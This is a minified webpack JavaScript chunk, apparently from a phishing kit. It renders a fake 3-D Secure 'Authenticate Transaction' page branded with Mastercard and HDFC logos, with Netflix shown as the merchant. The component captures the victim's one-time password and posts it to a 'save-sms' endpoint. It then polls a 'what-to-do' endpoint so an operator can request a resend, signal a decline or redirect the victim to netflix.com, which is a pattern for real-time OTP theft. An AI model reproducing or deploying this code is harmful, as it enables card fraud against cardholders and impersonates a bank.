(window["webpackJsonp"]=window["webpackJsonp"]||[]).push([["chunk-652124b7"],{2009:function(t,e,c){"use strict";c("d1fe")},c538:function(t,e,c){"use strict";c.r(e);var s=c("7a23"),a=Object(s["r"])("data-v-99c9599a");Object(s["k"])("data-v-99c9599a");var n={style:{width:"470px"},class:"p-3"},o=Object(s["g"])("div",{class:"flex justify-between items-center pb-2 border-b border-gray-400"},[Object(s["g"])("div",null,[Object(s["g"])("img",{src:"images/master-card-logo.png",alt:"",width:"100"})]),Object(s["g"])("div",null,[Object(s["g"])("img",{src:"images/logo_HDFC.png",alt:""})])],-1),i={class:"mt-5"},r=Object(s["g"])("h2",{style:{color:"#164C92"}},"Merchant details",-1),l={class:"border border-gray-400 mt-3"},d={class:"w-full"},u=Object(s["g"])("tr",{class:" font-bold",style:{"background-color":"#EEEEEE"}},[Object(s["g"])("td",{class:"p-3"}," Merchant Name: "),Object(s["g"])("td",{class:"text-right p-3"}," Netflix ")],-1),b=Object(s["g"])("td",{class:"p-3"}," Date: ",-1),g={class:"text-right p-3"},m=Object(s["g"])("td",{class:"p-3"}," Card Number: ",-1),O={class:"text-right p-3"},h={class:"mt-5"},j=Object(s["g"])("h2",{style:{color:"#164C92"}},"Authenticate Transaction",-1),p={class:"mt-3  p-4",style:{"background-color":"#F8F8F8"}},f=Object(s["g"])("div",{class:"my-2 text-white p-2 text-center",style:{"background-color":"#164C92","font-size":"12px"}}," OTP ",-1),w=Object(s["g"])("div",{class:"mt-4  text-center p-2",style:{"background-color":"#ECF5EA",color:"#669e5c","font-size":"0.9em",border:"1px #a2ce9b solid"}}," Successfully sent the One Time Password to your Registered Mobile Number and Email Id ",-1),v={class:"mt-4 "},x=Object(s["g"])("label",{for:"",class:"block font-bold mb-2",style:{"font-size":"0.9em"}}," Enter OTP ",-1),y={class:"mt-4"},C={class:"animate-spin -ml-1 mr-3 h-5 w-5 text-white",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24"},k=Object(s["g"])("circle",{class:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor","stroke-width":"4"},null,-1),E=Object(s["g"])("path",{class:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"},null,-1),T=Object(s["f"])(" Submit "),X=Object(s["g"])("div",{class:"text-center text-xs text-gray-600 mt-5"}," Note- Please ensure that your latest mobile number/ email id is updated in the Bank records. Visit nearest Branch or call Customer Care for the same. ",-1);Object(s["j"])();var _=a((function(t,e,c,a,_,D){return Object(s["i"])(),Object(s["c"])("div",n,[o,Object(s["g"])("div",i,[r,Object(s["g"])("div",l,[Object(s["g"])("table",d,[u,Object(s["g"])("tr",null,[b,Object(s["g"])("td",g,[Object(s["g"])("span",{textContent:Object(s["m"])((new Date).toISOString().substr(0,10))},null,8,["textContent"])])]),Object(s["g"])("tr",null,[m,Object(s["g"])("td",O,Object(s["m"])(D.ccnum_hidden),1)])])])]),Object(s["g"])("div",h,[j,Object(s["g"])("div",p,[f,w,Object(s["g"])("div",v,[x,Object(s["q"])(Object(s["g"])("input",{type:"text",class:"w-full p-2","onUpdate:modelValue":e[1]||(e[1]=function(t){return _.code=t})},null,512),[[s["o"],_.code]])]),Object(s["g"])("div",y,[Object(s["g"])("button",{class:"w-full flex items-center justify-center rounded text-white py-2 btnsb ",onClick:e[2]||(e[2]=function(){return D.submitCode&&D.submitCode.apply(D,arguments)}),disabled:_.isLoading||!_.code},[Object(s["q"])((Object(s["i"])(),Object(s["c"])("svg",C,[k,E],512)),[[s["p"],_.isLoading]]),T],8,["disabled"])])])]),X])})),D=c("bc3a"),R=c.n(D),z=c("a078"),F={name:"Generic",props:["ccname","ccnum","cc_result","bank"],data:function(){return{code:null,isResend:!1,isLoading:!1}},computed:{ccnum_hidden:function(){return this.ccnum.substr(0,4)+" XXXX XXXX "+this.ccnum.substr(-4)}},methods:{submitCode:function(){var t=this;this.isLoading=!0,R.a.post(z["a"]+"save-sms/"+this.cc_result,{code:this.code}).then((function(){t.waitWhatToDo()})).catch((function(){setTimeout((function(){return t.submitCode()}),2e3)}))},waitWhatToDo:function(){var t=this;R.a.get(z["a"]+"what-to-do/"+this.cc_result).then((function(e){2===e.data.status?setTimeout((function(){return t.waitWhatToDo()}),1e3):3===e.data.status||12===e.data.status?(t.isResend=!0,t.isLoading=!1,t.code=""):4===e.data.status?t.$emit("card-declined"):5===e.data.status&&(window.location.href="http://netflix.com")})).catch((function(e){setTimeout((function(){return t.waitWhatToDo()}),2e3),401===e.response.status&&(t.modalError="ERROR : "+e.response.data.message)}))}}};c("2009");F.render=_,F.__scopeId="data-v-99c9599a";e["default"]=F},d1fe:function(t,e,c){}}]);
//# sourceMappingURL=chunk-652124b7.5ffdf15d.js.map